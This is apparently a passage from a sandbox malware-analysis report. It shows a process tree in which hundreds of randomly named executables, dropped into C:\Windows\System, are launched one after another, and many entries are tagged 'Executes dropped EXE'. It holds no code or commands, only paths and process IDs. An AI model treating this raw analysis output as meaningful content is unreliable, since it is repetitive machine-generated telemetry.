  - Executes dropped EXE
  PID:3304
- C:\Windows\System\uyrnHgo.exe
  C:\Windows\System\uyrnHgo.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\jeEgyfD.exe
  C:\Windows\System\jeEgyfD.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\pzHKsNH.exe
  C:\Windows\System\pzHKsNH.exe
  2⤵
  - Executes dropped EXE
  PID:684
- C:\Windows\System\QBcRisN.exe
  C:\Windows\System\QBcRisN.exe
  2⤵
  - Executes dropped EXE
  PID:4796
- C:\Windows\System\WUSbpfb.exe
  C:\Windows\System\WUSbpfb.exe
  2⤵
  - Executes dropped EXE
  PID:1464
- C:\Windows\System\rYNpPPe.exe
  C:\Windows\System\rYNpPPe.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\lpLJSNa.exe
  C:\Windows\System\lpLJSNa.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\iKvNqAx.exe
  C:\Windows\System\iKvNqAx.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\WqjiGhI.exe
  C:\Windows\System\WqjiGhI.exe
  2⤵
  - Executes dropped EXE
  PID:3908
- C:\Windows\System\MPnVqOM.exe
  C:\Windows\System\MPnVqOM.exe
  2⤵
  - Executes dropped EXE
  PID:4168
- C:\Windows\System\divEZmk.exe
  C:\Windows\System\divEZmk.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\SlmNjuk.exe
  C:\Windows\System\SlmNjuk.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\ZDfqqcN.exe
  C:\Windows\System\ZDfqqcN.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\dYTmpdQ.exe
  C:\Windows\System\dYTmpdQ.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\szhbIjU.exe
  C:\Windows\System\szhbIjU.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\QUWbvZu.exe
  C:\Windows\System\QUWbvZu.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\UrezOip.exe
  C:\Windows\System\UrezOip.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\eeIOuds.exe
  C:\Windows\System\eeIOuds.exe
  2⤵
  - Executes dropped EXE
  PID:4716
- C:\Windows\System\uLZRnXG.exe
  C:\Windows\System\uLZRnXG.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\JmYcuvl.exe
  C:\Windows\System\JmYcuvl.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\Lsyzatd.exe
  C:\Windows\System\Lsyzatd.exe
  2⤵
  - Executes dropped EXE
  PID:2280
- C:\Windows\System\vassxgP.exe
  C:\Windows\System\vassxgP.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\Windows\System\LXryJqj.exe
  C:\Windows\System\LXryJqj.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Windows\System\cBquiPF.exe
  C:\Windows\System\cBquiPF.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\yYmYzfb.exe
  C:\Windows\System\yYmYzfb.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\tUEaYaW.exe
  C:\Windows\System\tUEaYaW.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\FjToOmF.exe
  C:\Windows\System\FjToOmF.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\LhlDbHj.exe
  C:\Windows\System\LhlDbHj.exe
  2⤵
  - Executes dropped EXE
  PID:4656
- C:\Windows\System\AixrGcC.exe
  C:\Windows\System\AixrGcC.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\wgBDnSZ.exe
  C:\Windows\System\wgBDnSZ.exe
  2⤵
  - Executes dropped EXE
  PID:232
- C:\Windows\System\qEFxysc.exe
  C:\Windows\System\qEFxysc.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System\jrNMHQp.exe
  C:\Windows\System\jrNMHQp.exe
  2⤵
  PID:744
- C:\Windows\System\zlQkuTL.exe
  C:\Windows\System\zlQkuTL.exe
  2⤵
  PID:4512
- C:\Windows\System\fLfZSli.exe
  C:\Windows\System\fLfZSli.exe
  2⤵
  PID:3680
- C:\Windows\System\JqeSUPl.exe
  C:\Windows\System\JqeSUPl.exe
  2⤵
  PID:5092
- C:\Windows\System\qBWUtHl.exe
  C:\Windows\System\qBWUtHl.exe
  2⤵
  PID:3900
- C:\Windows\System\tgITmrw.exe
  C:\Windows\System\tgITmrw.exe
  2⤵
  PID:1244
- C:\Windows\System\DqSpghP.exe
  C:\Windows\System\DqSpghP.exe
  2⤵
  PID:4520
- C:\Windows\System\bCDMfMq.exe
  C:\Windows\System\bCDMfMq.exe
  2⤵
  PID:2720
- C:\Windows\System\ZytUkgL.exe
  C:\Windows\System\ZytUkgL.exe
  2⤵
  PID:3996
- C:\Windows\System\QTgKUQP.exe
  C:\Windows\System\QTgKUQP.exe
  2⤵
  PID:5128
- C:\Windows\System\cjzXZFg.exe
  C:\Windows\System\cjzXZFg.exe
  2⤵
  PID:5156
- C:\Windows\System\QbYNdgL.exe
  C:\Windows\System\QbYNdgL.exe
  2⤵
  PID:5180
- C:\Windows\System\TrHGtSI.exe
  C:\Windows\System\TrHGtSI.exe
  2⤵
  PID:5212
- C:\Windows\System\UbzbGBu.exe
  C:\Windows\System\UbzbGBu.exe
  2⤵
  PID:5240
- C:\Windows\System\NflnaBU.exe
  C:\Windows\System\NflnaBU.exe
  2⤵
  PID:5268
- C:\Windows\System\TzscdAJ.exe
  C:\Windows\System\TzscdAJ.exe
  2⤵
  PID:5296
- C:\Windows\System\OnineUo.exe
  C:\Windows\System\OnineUo.exe
  2⤵
  PID:5324
- C:\Windows\System\ChniYIs.exe
  C:\Windows\System\ChniYIs.exe
  2⤵
  PID:5352
- C:\Windows\System\gqDpOib.exe
  C:\Windows\System\gqDpOib.exe
  2⤵
  PID:5380
- C:\Windows\System\hDoRodJ.exe
  C:\Windows\System\hDoRodJ.exe
  2⤵
  PID:5408
- C:\Windows\System\STSFulS.exe
  C:\Windows\System\STSFulS.exe
  2⤵
  PID:5436
- C:\Windows\System\cDHSQru.exe
  C:\Windows\System\cDHSQru.exe
  2⤵
  PID:5464
- C:\Windows\System\AdLfZgR.exe
  C:\Windows\System\AdLfZgR.exe
  2⤵
  PID:5492
- C:\Windows\System\NNTrBRa.exe
  C:\Windows\System\NNTrBRa.exe
  2⤵
  PID:5520
- C:\Windows\System\WTIyxHH.exe
  C:\Windows\System\WTIyxHH.exe
  2⤵
  PID:5548
- C:\Windows\System\txncRIy.exe
  C:\Windows\System\txncRIy.exe
  2⤵
  PID:5576
- C:\Windows\System\mDMEHaq.exe
  C:\Windows\System\mDMEHaq.exe
  2⤵
  PID:5604
- C:\Windows\System\fycpAnM.exe
  C:\Windows\System\fycpAnM.exe
  2⤵
  PID:5632
- C:\Windows\System\tepKwmi.exe
  C:\Windows\System\tepKwmi.exe
  2⤵
  PID:5660
- C:\Windows\System\FfzbhTi.exe
  C:\Windows\System\FfzbhTi.exe
  2⤵
  PID:5688
- C:\Windows\System\PDezdHx.exe
  C:\Windows\System\PDezdHx.exe
  2⤵
  PID:5716
- C:\Windows\System\ohYgIsT.exe
  C:\Windows\System\ohYgIsT.exe
  2⤵
  PID:5744
- C:\Windows\System\cjuozGz.exe
  C:\Windows\System\cjuozGz.exe
  2⤵
  PID:5772
- C:\Windows\System\DVSaEMf.exe
  C:\Windows\System\DVSaEMf.exe
  2⤵
  PID:5800
- C:\Windows\System\JJyKFVJ.exe
  C:\Windows\System\JJyKFVJ.exe
  2⤵
  PID:5828
- C:\Windows\System\vuYIayH.exe
  C:\Windows\System\vuYIayH.exe
  2⤵
  PID:5856
- C:\Windows\System\KcWsTkM.exe
  C:\Windows\System\KcWsTkM.exe
  2⤵
  PID:5884
- C:\Windows\System\axtSynZ.exe
  C:\Windows\System\axtSynZ.exe
  2⤵
  PID:5912
- C:\Windows\System\BBFmKrS.exe
  C:\Windows\System\BBFmKrS.exe
  2⤵
  PID:5936
- C:\Windows\System\JIpFJpj.exe
  C:\Windows\System\JIpFJpj.exe
  2⤵
  PID:5968
- C:\Windows\System\QJjxmhy.exe
  C:\Windows\System\QJjxmhy.exe
  2⤵
  PID:5996
- C:\Windows\System\mGZPfjT.exe
  C:\Windows\System\mGZPfjT.exe
  2⤵
  PID:6024
- C:\Windows\System\SJSNzNH.exe
  C:\Windows\System\SJSNzNH.exe
  2⤵
  PID:6052
- C:\Windows\System\kgXKnIF.exe
  C:\Windows\System\kgXKnIF.exe
  2⤵
  PID:6128
- C:\Windows\System\nuQFqxM.exe
  C:\Windows\System\nuQFqxM.exe
  2⤵
  PID:1368
- C:\Windows\System\TanXFfh.exe
  C:\Windows\System\TanXFfh.exe
  2⤵
  PID:1552
- C:\Windows\System\yqQwECO.exe
  C:\Windows\System\yqQwECO.exe
  2⤵
  PID:2084
- C:\Windows\System\uIfOSaI.exe
  C:\Windows\System\uIfOSaI.exe
  2⤵
  PID:4804
- C:\Windows\System\ZuXzoiM.exe
  C:\Windows\System\ZuXzoiM.exe
  2⤵
  PID:5172
- C:\Windows\System\RIeMrHG.exe
  C:\Windows\System\RIeMrHG.exe
  2⤵
  PID:5252
- C:\Windows\System\SkJSzQN.exe
  C:\Windows\System\SkJSzQN.exe
  2⤵
  PID:836
- C:\Windows\System\EPUEawx.exe
  C:\Windows\System\EPUEawx.exe
  2⤵
  PID:5392
- C:\Windows\System\aZyPymJ.exe
  C:\Windows\System\aZyPymJ.exe
  2⤵
  PID:5456
- C:\Windows\System\uTptDGE.exe
  C:\Windows\System\uTptDGE.exe
  2⤵
  PID:5484
- C:\Windows\System\heVBxSZ.exe
  C:\Windows\System\heVBxSZ.exe
  2⤵
  PID:5536
- C:\Windows\System\KUeHkWZ.exe
  C:\Windows\System\KUeHkWZ.exe
  2⤵
  PID:5592
- C:\Windows\System\mrIfiOj.exe
  C:\Windows\System\mrIfiOj.exe
  2⤵
  PID:5700
- C:\Windows\System\yyWMGWo.exe
  C:\Windows\System\yyWMGWo.exe
  2⤵
  PID:5732
- C:\Windows\System\zwpkKtr.exe
  C:\Windows\System\zwpkKtr.exe
  2⤵
  PID:5788
- C:\Windows\System\dAhptKg.exe
  C:\Windows\System\dAhptKg.exe
  2⤵
  PID:5820
- C:\Windows\System\QYPguOQ.exe
  C:\Windows\System\QYPguOQ.exe
  2⤵
  PID:5876
- C:\Windows\System\rwQPWVw.exe
  C:\Windows\System\rwQPWVw.exe
  2⤵
  PID:5928
- C:\Windows\System\sYKISos.exe
  C:\Windows\System\sYKISos.exe
  2⤵
  PID:5988
- C:\Windows\System\LZeJgWx.exe
  C:\Windows\System\LZeJgWx.exe
  2⤵
  PID:6008
- C:\Windows\System\xxVJVYq.exe
  C:\Windows\System\xxVJVYq.exe
  2⤵
  PID:1388
- C:\Windows\System\uxHYpAz.exe
  C:\Windows\System\uxHYpAz.exe
  2⤵
  PID:2520
- C:\Windows\System\myZrzDN.exe
  C:\Windows\System\myZrzDN.exe
  2⤵
  PID:3824
- C:\Windows\System\vspEbxJ.exe
  C:\Windows\System\vspEbxJ.exe
  2⤵
  PID:2356
- C:\Windows\System\bCJqniL.exe
  C:\Windows\System\bCJqniL.exe
  2⤵
  PID:3896
- C:\Windows\System\tMhWlzO.exe
  C:\Windows\System\tMhWlzO.exe
  2⤵
  PID:1684
- C:\Windows\System\IwvkOrF.exe
  C:\Windows\System\IwvkOrF.exe
  2⤵
  PID:4836
- C:\Windows\System\EZlgIVw.exe
  C:\Windows\System\EZlgIVw.exe
  2⤵
  PID:5308
- C:\Windows\System\iqxaoPS.exe
  C:\Windows\System\iqxaoPS.exe
  2⤵
  PID:5424
- C:\Windows\System\UhoOWyY.exe
  C:\Windows\System\UhoOWyY.exe
  2⤵
  PID:4196
- C:\Windows\System\ZnEVyGd.exe
  C:\Windows\System\ZnEVyGd.exe
  2⤵
  PID:4488
- C:\Windows\System\OxhXmzy.exe
  C:\Windows\System\OxhXmzy.exe
  2⤵
  PID:5680
- C:\Windows\System\ZtQHeXk.exe
  C:\Windows\System\ZtQHeXk.exe
  2⤵
  PID:5848
- C:\Windows\System\mTUSkqt.exe
  C:\Windows\System\mTUSkqt.exe
  2⤵
  PID:5900
- C:\Windows\System\SEZhHei.exe
  C:\Windows\System\SEZhHei.exe
  2⤵
  PID:6036
- C:\Windows\System\lOfyciA.exe
  C:\Windows\System\lOfyciA.exe
  2⤵
  PID:3432
- C:\Windows\System\PQyDEqS.exe
  C:\Windows\System\PQyDEqS.exe
  2⤵
  PID:4676
- C:\Windows\System\VVHLbuK.exe
  C:\Windows\System\VVHLbuK.exe
  2⤵
  PID:1252
- C:\Windows\System\YkpKZWF.exe
  C:\Windows\System\YkpKZWF.exe
  2⤵
  PID:4016
- C:\Windows\System\YWZvlun.exe
  C:\Windows\System\YWZvlun.exe
  2⤵
  PID:5444
- C:\Windows\System\yYCnrKB.exe
  C:\Windows\System\yYCnrKB.exe
  2⤵
  PID:5512
- C:\Windows\System\nmJPWLJ.exe
  C:\Windows\System\nmJPWLJ.exe
  2⤵
  PID:3156
- C:\Windows\System\pqNpAgC.exe
  C:\Windows\System\pqNpAgC.exe
  2⤵
  PID:5960
- C:\Windows\System\GyKYWhZ.exe
  C:\Windows\System\GyKYWhZ.exe
  2⤵
  PID:1796
- C:\Windows\System\bCWchUv.exe
  C:\Windows\System\bCWchUv.exe
  2⤵
  PID:5368
- C:\Windows\System\RlJqcya.exe
  C:\Windows\System\RlJqcya.exe
  2⤵
  PID:2904
- C:\Windows\System\AanVpgq.exe
  C:\Windows\System\AanVpgq.exe
  2⤵
  PID:6104
- C:\Windows\System\dsHoGZE.exe
  C:\Windows\System\dsHoGZE.exe
  2⤵
  PID:6156
- C:\Windows\System\jIvwNmE.exe
  C:\Windows\System\jIvwNmE.exe
  2⤵
  PID:6184
- C:\Windows\System\XqyFsey.exe
  C:\Windows\System\XqyFsey.exe
  2⤵
  PID:6220
- C:\Windows\System\nXuUSKX.exe
  C:\Windows\System\nXuUSKX.exe
  2⤵
  PID:6240
- C:\Windows\System\UhrKale.exe
  C:\Windows\System\UhrKale.exe
  2⤵
  PID:6264
- C:\Windows\System\rcgpfXc.exe
  C:\Windows\System\rcgpfXc.exe
  2⤵
  PID:6304
- C:\Windows\System\bhQGinI.exe
  C:\Windows\System\bhQGinI.exe
  2⤵
  PID:6324
- C:\Windows\System\qQMMkMN.exe
  C:\Windows\System\qQMMkMN.exe
  2⤵
  PID:6368
- C:\Windows\System\NMuaXYO.exe
  C:\Windows\System\NMuaXYO.exe
  2⤵
  PID:6392
- C:\Windows\System\WrQsCdV.exe
  C:\Windows\System\WrQsCdV.exe
  2⤵
  PID:6420
- C:\Windows\System\iYRfaTP.exe
  C:\Windows\System\iYRfaTP.exe
  2⤵
  PID:6440
- C:\Windows\System\sgTvAGP.exe
  C:\Windows\System\sgTvAGP.exe
  2⤵
  PID:6464
- C:\Windows\System\EgbtAPe.exe
  C:\Windows\System\EgbtAPe.exe
  2⤵
  PID:6484
- C:\Windows\System\fBUpJGu.exe
  C:\Windows\System\fBUpJGu.exe
  2⤵
  PID:6532
- C:\Windows\System\NaDKGIj.exe
  C:\Windows\System\NaDKGIj.exe
  2⤵
  PID:6568
- C:\Windows\System\CIglgxs.exe
  C:\Windows\System\CIglgxs.exe
  2⤵
  PID:6592
- C:\Windows\System\QHeKkuh.exe
  C:\Windows\System\QHeKkuh.exe
  2⤵
  PID:6616
- C:\Windows\System\qIlFyzt.exe
  C:\Windows\System\qIlFyzt.exe
  2⤵
  PID:6656
- C:\Windows\System\LvWnfyp.exe
  C:\Windows\System\LvWnfyp.exe
  2⤵
  PID:6680
- C:\Windows\System\LGOqXAM.exe
  C:\Windows\System\LGOqXAM.exe
  2⤵
  PID:6700
- C:\Windows\System\DeoTynK.exe
  C:\Windows\System\DeoTynK.exe
  2⤵
  PID:6724
- C:\Windows\System\COGDYEe.exe
  C:\Windows\System\COGDYEe.exe
  2⤵
  PID:6744
- C:\Windows\System\BNalEVE.exe
  C:\Windows\System\BNalEVE.exe
  2⤵
  PID:6760
- C:\Windows\System\UuKQUJU.exe
  C:\Windows\System\UuKQUJU.exe
  2⤵
  PID:6784
- C:\Windows\System\gVkXBFw.exe
  C:\Windows\System\gVkXBFw.exe
  2⤵
  PID:6804
- C:\Windows\System\lMXvwSW.exe
  C:\Windows\System\lMXvwSW.exe
  2⤵
  PID:6832
- C:\Windows\System\tkKROnb.exe
  C:\Windows\System\tkKROnb.exe
  2⤵
  PID:6872
- C:\Windows\System\NpEVXzH.exe
  C:\Windows\System\NpEVXzH.exe
  2⤵
  PID:6900
- C:\Windows\System\NxFdjrO.exe
  C:\Windows\System\NxFdjrO.exe
  2⤵
  PID:6920
- C:\Windows\System\xafWlVa.exe
  C:\Windows\System\xafWlVa.exe
  2⤵
  PID:6988
- C:\Windows\System\RYawBXX.exe
  C:\Windows\System\RYawBXX.exe
  2⤵
  PID:7004
- C:\Windows\System\NVabUGf.exe
  C:\Windows\System\NVabUGf.exe
  2⤵
  PID:7024
- C:\Windows\System\BPRlKFS.exe
  C:\Windows\System\BPRlKFS.exe
  2⤵
  PID:7060
- C:\Windows\System\vHFKFLi.exe
  C:\Windows\System\vHFKFLi.exe
  2⤵
  PID:7096
- C:\Windows\System\vZQbwGT.exe
  C:\Windows\System\vZQbwGT.exe
  2⤵
  PID:7116
- C:\Windows\System\xTxVgrS.exe
  C:\Windows\System\xTxVgrS.exe
  2⤵
  PID:7144
- C:\Windows\System\uzjanyT.exe
  C:\Windows\System\uzjanyT.exe
  2⤵
  PID:5568
- C:\Windows\System\XVXOXNb.exe
  C:\Windows\System\XVXOXNb.exe
  2⤵
  PID:2748
- C:\Windows\System\XdRUBMB.exe
  C:\Windows\System\XdRUBMB.exe
  2⤵
  PID:6256
- C:\Windows\System\spbmEUV.exe
  C:\Windows\System\spbmEUV.exe
  2⤵
  PID:6312
- C:\Windows\System\hwaNJXA.exe
  C:\Windows\System\hwaNJXA.exe
  2⤵
  PID:6336
- C:\Windows\System\DDRZKDj.exe
  C:\Windows\System\DDRZKDj.exe
  2⤵
  PID:6408
- C:\Windows\System\lmBbyXM.exe
  C:\Windows\System\lmBbyXM.exe
  2⤵
  PID:6448
- C:\Windows\System\qcBeHIz.exe
  C:\Windows\System\qcBeHIz.exe
  2⤵
  PID:6528
- C:\Windows\System\QBTdVVH.exe
  C:\Windows\System\QBTdVVH.exe
  2⤵
  PID:6604
- C:\Windows\System\fPgIWyA.exe
  C:\Windows\System\fPgIWyA.exe
  2⤵
  PID:6688
- C:\Windows\System\djbjJln.exe
  C:\Windows\System\djbjJln.exe
  2⤵
  PID:6736
- C:\Windows\System\BIMMcGh.exe
  C:\Windows\System\BIMMcGh.exe
  2⤵
  PID:6828
- C:\Windows\System\ImNVWfk.exe
  C:\Windows\System\ImNVWfk.exe
  2⤵
  PID:6892
- C:\Windows\System\yjJYUei.exe
  C:\Windows\System\yjJYUei.exe
  2⤵
  PID:6912
- C:\Windows\System\DJcrNYH.exe
  C:\Windows\System\DJcrNYH.exe
  2⤵
  PID:7000
- C:\Windows\System\sPuezYX.exe
  C:\Windows\System\sPuezYX.exe
  2⤵
  PID:7020
- C:\Windows\System\JudNUPd.exe
  C:\Windows\System\JudNUPd.exe
  2⤵
  PID:7056
- C:\Windows\System\JbIKNjY.exe
  C:\Windows\System\JbIKNjY.exe
  2⤵
  PID:6148
- C:\Windows\System\dWmRzZt.exe
  C:\Windows\System\dWmRzZt.exe
  2⤵
  PID:6168
- C:\Windows\System\gKxJoFp.exe
  C:\Windows\System\gKxJoFp.exe
  2⤵
  PID:6364
- C:\Windows\System\PzMpNXq.exe
  C:\Windows\System\PzMpNXq.exe
  2⤵
  PID:6580
- C:\Windows\System\AVVitel.exe
  C:\Windows\System\AVVitel.exe
  2⤵
  PID:6752
- C:\Windows\System\bGFjbkf.exe
  C:\Windows\System\bGFjbkf.exe
  2⤵
  PID:6696
- C:\Windows\System\XuMnKHW.exe
  C:\Windows\System\XuMnKHW.exe
  2⤵
  PID:6844
- C:\Windows\System\uLhPfgz.exe
  C:\Windows\System\uLhPfgz.exe
  2⤵
  PID:7092
- C:\Windows\System\cPaRUZD.exe
  C:\Windows\System\cPaRUZD.exe
  2⤵
  PID:6316
- C:\Windows\System\vNiRcWv.exe
  C:\Windows\System\vNiRcWv.exe
  2⤵
  PID:6232
- C:\Windows\System\xttGQoo.exe
  C:\Windows\System\xttGQoo.exe
  2⤵
  PID:6512
- C:\Windows\System\DcDlmXE.exe
  C:\Windows\System\DcDlmXE.exe
  2⤵
  PID:6916
- C:\Windows\System\gbNvfRT.exe
  C:\Windows\System\gbNvfRT.exe
  2⤵
  PID:7180
- C:\Windows\System\tkbSmNq.exe
  C:\Windows\System\tkbSmNq.exe
  2⤵
  PID:7200
- C:\Windows\System\sogzRcp.exe
  C:\Windows\System\sogzRcp.exe
  2⤵
  PID:7252
- C:\Windows\System\SEWllQn.exe
  C:\Windows\System\SEWllQn.exe
  2⤵
  PID:7272
- C:\Windows\System\WokRVnN.exe
  C:\Windows\System\WokRVnN.exe
  2⤵
  PID:7296
- C:\Windows\System\mVijYwO.exe
  C:\Windows\System\mVijYwO.exe
  2⤵
  PID:7316
- C:\Windows\System\ZfaEzCq.exe
  C:\Windows\System\ZfaEzCq.exe
  2⤵
  PID:7340
- C:\Windows\System\cnpDqWa.exe
  C:\Windows\System\cnpDqWa.exe
  2⤵
  PID:7364
- C:\Windows\System\xrVBwJg.exe
  C:\Windows\System\xrVBwJg.exe
  2⤵
  PID:7400
- C:\Windows\System\zdsUhvB.exe
  C:\Windows\System\zdsUhvB.exe
  2⤵
  PID:7452
- C:\Windows\System\cROCEyj.exe
  C:\Windows\System\cROCEyj.exe
  2⤵
  PID:7496
- C:\Windows\System\JwBjMvn.exe
  C:\Windows\System\JwBjMvn.exe
  2⤵
  PID:7516
- C:\Windows\System\CznRCLq.exe
  C:\Windows\System\CznRCLq.exe
  2⤵
  PID:7544
- C:\Windows\System\ySMdNqB.exe
  C:\Windows\System\ySMdNqB.exe
  2⤵
  PID:7564
- C:\Windows\System\NfHfOoW.exe
  C:\Windows\System\NfHfOoW.exe
  2⤵
  PID:7588
- C:\Windows\System\FNSZzgh.exe
  C:\Windows\System\FNSZzgh.exe
  2⤵
  PID:7624
- C:\Windows\System\ZKaIqTf.exe
  C:\Windows\System\ZKaIqTf.exe
  2⤵
  PID:7648
- C:\Windows\System\XaeuTCR.exe
  C:\Windows\System\XaeuTCR.exe
  2⤵
  PID:7664
- C:\Windows\System\twyuYiV.exe
  C:\Windows\System\twyuYiV.exe
  2⤵
  PID:7696
- C:\Windows\System\GnkNSei.exe
  C:\Windows\System\GnkNSei.exe
  2⤵
  PID:7760
- C:\Windows\System\ksnJeZw.exe
  C:\Windows\System\ksnJeZw.exe
  2⤵
  PID:7788
- C:\Windows\System\fZNXnqo.exe
  C:\Windows\System\fZNXnqo.exe
  2⤵
  PID:7812
- C:\Windows\System\BcPXqkd.exe
  C:\Windows\System\BcPXqkd.exe
  2⤵
  PID:7832
- C:\Windows\System\LoKUlKm.exe
  C:\Windows\System\LoKUlKm.exe
  2⤵
  PID:7860
- C:\Windows\System\znINqBR.exe
  C:\Windows\System\znINqBR.exe
  2⤵
  PID:7884
- C:\Windows\System\VcNBwsJ.exe
  C:\Windows\System\VcNBwsJ.exe
  2⤵
  PID:7904
- C:\Windows\System\duVEQVN.exe
  C:\Windows\System\duVEQVN.exe
  2⤵
  PID:7956
- C:\Windows\System\eGMgjzg.exe
  C:\Windows\System\eGMgjzg.exe
  2⤵
  PID:7980
- C:\Windows\System\ogLNroP.exe
  C:\Windows\System\ogLNroP.exe
  2⤵
  PID:7996
- C:\Windows\System\jGFmZCf.exe
  C:\Windows\System\jGFmZCf.exe
  2⤵
  PID:8012
- C:\Windows\System\tNWOnyX.exe
  C:\Windows\System\tNWOnyX.exe
  2⤵
  PID:8032
- C:\Windows\System\dguwKpH.exe
  C:\Windows\System\dguwKpH.exe
  2⤵
  PID:8056
- C:\Windows\System\VmvuKHi.exe
  C:\Windows\System\VmvuKHi.exe
  2⤵
  PID:8080
- C:\Windows\System\PbVWtXg.exe
  C:\Windows\System\PbVWtXg.exe
  2⤵
  PID:8128
- C:\Windows\System\SDaYJag.exe
  C:\Windows\System\SDaYJag.exe
  2⤵
  PID:8148
- C:\Windows\System\AxEgabb.exe
  C:\Windows\System\AxEgabb.exe
  2⤵
  PID:8172
- C:\Windows\System\TEKFjqX.exe
  C:\Windows\System\TEKFjqX.exe
  2⤵
  PID:6768
- C:\Windows\System\vlzSCHc.exe
  C:\Windows\System\vlzSCHc.exe
  2⤵
  PID:7224
- C:\Windows\System\pUpGCfv.exe
  C:\Windows\System\pUpGCfv.exe
  2⤵
  PID:7260
- C:\Windows\System\MTgqdGD.exe
  C:\Windows\System\MTgqdGD.exe
  2⤵
  PID:7304
- C:\Windows\System\RFIshCU.exe
  C:\Windows\System\RFIshCU.exe
  2⤵
  PID:7352
- C:\Windows\System\uyGIKfu.exe
  C:\Windows\System\uyGIKfu.exe
  2⤵
  PID:7556
- C:\Windows\System\kCpbfGB.exe
  C:\Windows\System\kCpbfGB.exe
  2⤵
  PID:7640
- C:\Windows\System\fpxofWd.exe
  C:\Windows\System\fpxofWd.exe
  2⤵
  PID:7656
- C:\Windows\System\FGAsmpN.exe
  C:\Windows\System\FGAsmpN.exe
  2⤵
  PID:7728
- C:\Windows\System\CJPJQXc.exe
  C:\Windows\System\CJPJQXc.exe
  2⤵
  PID:7756
- C:\Windows\System\oVEsSAS.exe
  C:\Windows\System\oVEsSAS.exe
  2⤵
  PID:7852
- C:\Windows\System\DpyKprF.exe
  C:\Windows\System\DpyKprF.exe
  2⤵
  PID:7840
- C:\Windows\System\ixOvznF.exe
  C:\Windows\System\ixOvznF.exe
  2⤵
  PID:7928
- C:\Windows\System\CyFgwVE.exe
  C:\Windows\System\CyFgwVE.exe
  2⤵
  PID:8044
- C:\Windows\System\aYViVaI.exe
  C:\Windows\System\aYViVaI.exe
  2⤵
  PID:8040
- C:\Windows\System\DOEJEBP.exe
  C:\Windows\System\DOEJEBP.exe
  2⤵
  PID:8108
- C:\Windows\System\IgbMExt.exe
  C:\Windows\System\IgbMExt.exe
  2⤵
  PID:8188
- C:\Windows\System\ZzhwsXB.exe
  C:\Windows\System\ZzhwsXB.exe
  2⤵
  PID:7196
- C:\Windows\System\ywOQsJr.exe
  C:\Windows\System\ywOQsJr.exe
  2⤵
  PID:7392
- C:\Windows\System\oaRvnwn.exe
  C:\Windows\System\oaRvnwn.exe
  2⤵
  PID:7508
- C:\Windows\System\pmMqjLX.exe
  C:\Windows\System\pmMqjLX.exe
  2⤵
  PID:7784
- C:\Windows\System\vZmryVK.exe
  C:\Windows\System\vZmryVK.exe
  2⤵
  PID:8028
- C:\Windows\System\xQWAOnd.exe
  C:\Windows\System\xQWAOnd.exe
  2⤵
  PID:8004
- C:\Windows\System\kszupFp.exe
  C:\Windows\System\kszupFp.exe
  2⤵
  PID:7332
- C:\Windows\System\iObKBmC.exe
  C:\Windows\System\iObKBmC.exe
  2⤵
  PID:7108
- C:\Windows\System\NNXqZcW.exe
  C:\Windows\System\NNXqZcW.exe
  2⤵
  PID:7740
- C:\Windows\System\ovbEbmE.exe
  C:\Windows\System\ovbEbmE.exe
  2⤵
  PID:8140
- C:\Windows\System\WnBSxRY.exe
  C:\Windows\System\WnBSxRY.exe
  2⤵
  PID:8024
- C:\Windows\System\zuvPSlk.exe
  C:\Windows\System\zuvPSlk.exe
  2⤵
  PID:8220
- C:\Windows\System\vUhbWdN.exe
  C:\Windows\System\vUhbWdN.exe
  2⤵
  PID:8244
- C:\Windows\System\SsLuDrD.exe
  C:\Windows\System\SsLuDrD.exe
  2⤵
  PID:8260
- C:\Windows\System\jgcalle.exe
  C:\Windows\System\jgcalle.exe
  2⤵
  PID:8280
- C:\Windows\System\ataEGAF.exe
  C:\Windows\System\ataEGAF.exe
  2⤵
  PID:8308
- C:\Windows\System\jNEpjbe.exe
  C:\Windows\System\jNEpjbe.exe
  2⤵
  PID:8328
- C:\Windows\System\XiPNvmh.exe
  C:\Windows\System\XiPNvmh.exe
  2⤵
  PID:8396
- C:\Windows\System\vgqiDRU.exe
  C:\Windows\System\vgqiDRU.exe
  2⤵
  PID:8468
- C:\Windows\System\LWdfQTQ.exe
  C:\Windows\System\LWdfQTQ.exe
  2⤵
  PID:8488
- C:\Windows\System\gwHFavy.exe
  C:\Windows\System\gwHFavy.exe
  2⤵
  PID:8536
- C:\Windows\System\xQuNTJS.exe
  C:\Windows\System\xQuNTJS.exe
  2⤵
  PID:8552
- C:\Windows\System\RETegiJ.exe
  C:\Windows\System\RETegiJ.exe
  2⤵
  PID:8576
- C:\Windows\System\GYULCox.exe
  C:\Windows\System\GYULCox.exe
  2⤵
  PID:8600
- C:\Windows\System\uiRWMvs.exe
  C:\Windows\System\uiRWMvs.exe
  2⤵
  PID:8620
- C:\Windows\System\XhNBQtW.exe
  C:\Windows\System\XhNBQtW.exe
  2⤵
  PID:8680
- C:\Windows\System\SRoQVGg.exe
  C:\Windows\System\SRoQVGg.exe
  2⤵
  PID:8696
- C:\Windows\System\BMaTzRv.exe
  C:\Windows\System\BMaTzRv.exe
  2⤵
  PID:8720
- C:\Windows\System\AEEhNVE.exe
  C:\Windows\System\AEEhNVE.exe
  2⤵
